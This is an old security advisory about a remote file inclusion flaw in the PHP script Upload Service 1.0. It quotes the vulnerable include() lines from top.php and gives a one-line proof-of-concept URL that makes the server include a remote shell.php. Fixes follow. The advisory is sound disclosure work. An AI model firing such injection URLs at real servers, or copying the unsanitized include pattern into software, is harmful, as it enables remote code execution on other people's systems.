[ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : January, 21st 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv62-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Upload Service
version : 1.0
URL : http://bild-bearbeiten.de/
Download-path : http://bild-bearbeiten.de/scripts/upload_service_1.0.zip

---------------------------------------------------------------------------

1. Install directory are not being remove after installation process
2. Variables "$maindir" in top.php are not properly sanitized.

---------------top.php--------------------------------
...
include($maindir."config.php");
include($maindir."functions/error.php");
...
------------------------------------------------------------------

When register_globals=on and allow_fopenurl=on an attacker can exploit
this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~~
http://127.0.0.1/upload/top.php?maindir=http://127.0.0.1/shell.php?

Solution:
~~~~~~~
- Remember to remove your install directory and change config.php permission
- Simply Sanitize variable $maindir on affected files. (eg. $maindir=" ";)
- Turn off register_globals

Notification:
~~~~~~~~~~
vendor not contact yet